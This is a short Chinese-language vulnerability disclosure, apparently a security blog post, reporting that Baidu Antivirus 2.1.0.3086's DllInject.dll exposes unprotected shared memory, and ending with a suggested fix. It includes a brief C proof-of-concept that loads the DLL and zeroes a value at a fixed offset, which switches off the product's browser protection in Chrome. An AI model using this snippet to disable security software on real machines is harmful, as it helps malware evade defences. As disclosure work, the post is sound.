百度杀毒曝共享内存漏洞

DllInject.dll使用共享内存数据,且无权限检查,任意进程均可对其进行修改,造成百度杀毒对浏览器的防御失效。

chrome浏览器为例:

攻击前:

攻击后:

可以看到,攻击后,chrome不再加载百度杀毒WebSafe、WebMonHook等几个功能DLL

LPCTSTR lpszDll = _T(“C:\\Program Files\\Baidu\\BaiduSd\\2.1.0.3086\\websafe\\DllInject.dll”); HMODULE hMod = LoadLibrary(lpszDll); DWORD* shareAddr = (DWORD*)((DWORD)hMod + 0x6000); // 针对2.1.0.3086的DllInject.dll *shareAddr = 0

修复方案:

使用更为安全的内存共享手段,增加权限控制。

上一篇 清除Bootkit后门木马的方法
下一篇 简单批处理轻松干掉百度杀毒